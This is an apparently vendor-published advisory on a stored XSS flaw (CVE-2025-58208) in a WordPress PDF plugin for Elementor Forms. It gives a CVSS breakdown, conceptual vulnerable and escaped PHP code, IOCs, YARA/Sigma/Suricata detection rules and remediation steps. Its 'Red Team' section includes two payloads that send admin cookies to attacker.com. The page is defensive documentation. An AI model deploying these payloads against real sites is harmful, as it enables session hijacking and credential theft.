CVE-2025-58208
Executive Summary
CVE-2025-58208 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the WordPress plugin PDF for Elementor Forms + Drag And Drop Template Builder by add-ons.org. This vulnerability affects all versions up to and including 6.2.0. An attacker with the ability to submit data through Elementor forms (e.g., a low-privileged user or via a crafted request) can inject malicious JavaScript code that is stored on the server. When an administrator or other user views the generated PDF or the form submissions page, the injected script executes in their browser context. This can lead to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no official fix has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and potentially through third-party marketplaces. Users who have installed this plugin from any source are at risk. The lack of a patch means that supply chain risk is elevated; users must rely on manual mitigation or removal of the plugin until a fix is provided.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – An unauthenticated user can trigger the vulnerability.
- User Interaction (UI): Required – The victim must view the malicious content (e.g., a PDF or admin page).
- Scope (S): Changed – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify data.
- Availability (A): Low – Limited ability to disrupt service.
Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the lack of a patch increase the real-world risk. An attacker can persistently compromise admin sessions.
Deep Dive & Mechanics
The vulnerability stems from improper neutralization of user-supplied input within the PDF generation functionality of the plugin. When a user submits an Elementor form, the plugin processes the form fields and generates a PDF document. The plugin fails to sanitize or escape the input before embedding it into the PDF content. This allows an attacker to inject arbitrary HTML and JavaScript code.
Attack Flow:
- An attacker identifies a WordPress site using the vulnerable plugin.
- The attacker submits a form field containing a malicious payload, such as
<script>alert('XSS')</script>. - The plugin stores this payload in the database and later renders it in the PDF generation process.
- When an administrator views the generated PDF (e.g., in the admin dashboard or via a download link), the script executes in their browser.
- The attacker can then steal cookies, perform actions on behalf of the admin, or redirect to a malicious site.
The vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The plugin likely uses a function similar to the following to output form data into the PDF:
Vulnerable Code (Conceptual):
function generate_pdf_content($form_data) {
$pdf_content = '';
foreach ($form_data as $field => $value) {
$pdf_content .= "<p><strong>$field:</strong> $value</p>";
}
// Output to PDF
$pdf->writeHTML($pdf_content);
}
Patched Code (Conceptual):
function generate_pdf_content($form_data) {
$pdf_content = '';
foreach ($form_data as $field => $value) {
$safe_value = htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
$pdf_content .= "<p><strong>$field:</strong> $safe_value</p>";
}
// Output to PDF
$pdf->writeHTML($pdf_content);
}
The patched version uses htmlspecialchars() to escape HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with the vulnerable plugin installed (version <= 6.2.0).
- An Elementor form configured to use the PDF generation feature.
Exploitation Steps:
- Navigate to a public-facing Elementor form that generates a PDF.
- In any text input field, inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the form.
- The payload is stored and will execute when an admin views the PDF in the admin panel or downloads it.
- The attacker receives the admin's session cookie.
Alternative Payload (for session hijacking):
<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">
Blue Team (Defensive)
Detection:
- Monitor for unusual form submissions containing HTML tags or JavaScript keywords.
- Check server logs for requests to
/wp-admin/admin-ajax.phpor similar endpoints with suspicious payloads. - Use the detection rules provided below.
Mitigation:
- Immediately disable or remove the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block common XSS patterns in form submissions.
- Restrict access to the PDF generation feature to authenticated users only.
Indicators of Compromise (IOCs)
- File System: Presence of the plugin directory
/wp-content/plugins/pdf-for-elementor-forms/with version <= 6.2.0. - Database: Entries in the
wp_postmetaor custom plugin tables containing<script>tags oronerrorattributes. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server (e.g.,
GET /steal?cookie=...). - Logs: Apache/Nginx access logs showing requests to
/wp-admin/admin-ajax.phpwith parameters containingscriptoronerror.
Detection Engineering
YARA Rule
rule CVE_2025_58208_Stored_XSS {
meta:
description = "Detects stored XSS payloads in PDF for Elementor Forms plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58208"
strings:
$script = /<script[^>]*>.*?<\/script>/is
$onerror = /onerror\s*=\s*["']?[^"']*["']?/is
$onload = /onload\s*=\s*["']?[^"']*["']?/is
condition:
any of them
}
Sigma Rule
title: CVE-2025-58208 - Stored XSS in PDF for Elementor Forms
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in form submissions to the vulnerable plugin
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=pdf_for_elementor_forms'
keywords:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in form fields (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58208 - Stored XSS Payload in PDF for Elementor Forms"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=pdf_for_elementor_forms"; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable and remove the plugin
pdf-for-elementor-formsfrom all WordPress installations. - Alternative: If the plugin is critical, restrict form submission to authenticated users only and implement strict input validation.
- WAF Rule: Deploy a WAF rule to block requests containing
<script,onerror, orjavascript:in form fields. - Monitor: Review server logs for signs of exploitation and rotate any compromised credentials.
- Patch: Await an official patch from the vendor. Monitor the WordPress plugin repository for updates.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.